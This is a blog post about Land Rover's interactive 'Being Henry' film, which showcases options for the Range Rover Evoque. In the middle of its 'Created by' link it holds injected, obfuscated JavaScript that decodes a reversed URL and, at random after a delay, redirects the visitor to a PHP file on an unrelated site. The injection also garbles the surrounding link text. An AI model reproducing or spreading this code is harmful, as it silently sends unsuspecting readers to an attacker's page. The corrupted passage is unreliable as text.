Times are well and truly changing. Digital media is being used in so many different creative ways to get the same result that old school media used to get all those years ago. Land Rover are the latest to jump to the front of the queue with a very cool and slightly left field way of highlighting the vast array of personalisation options open to you, the future buyer of the Range Rover Evoque (is it us or does it get better and better looking the more you see it?)
Created by $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}androver.me” target=”_blank”>Land Rover and Directed by Nick Gordon, Being Henry allows the viewer to jump into the story and take control of Henry’s actions. Think a modern version of the famed 80’s RPG, Leisure Suit Larry. The result as you can imagine is an engaging, humorous and very different way for an automotive brand to attract the market. Put it this way… we sat and played around for far longer than we should have.
Once you hopped around and chosen your/Harry’s life path and reach the end of your decision making process, the Narrator comes kindly shows you the type of Evoque that fits your decision making processes. It is worth a quick heads-up that there is some colourful language and visuals dotted around the movie, but having said that it is most certainly worth your time.
Enjoy the movie trailer below and then head over to the Being Henry website to start your journey.
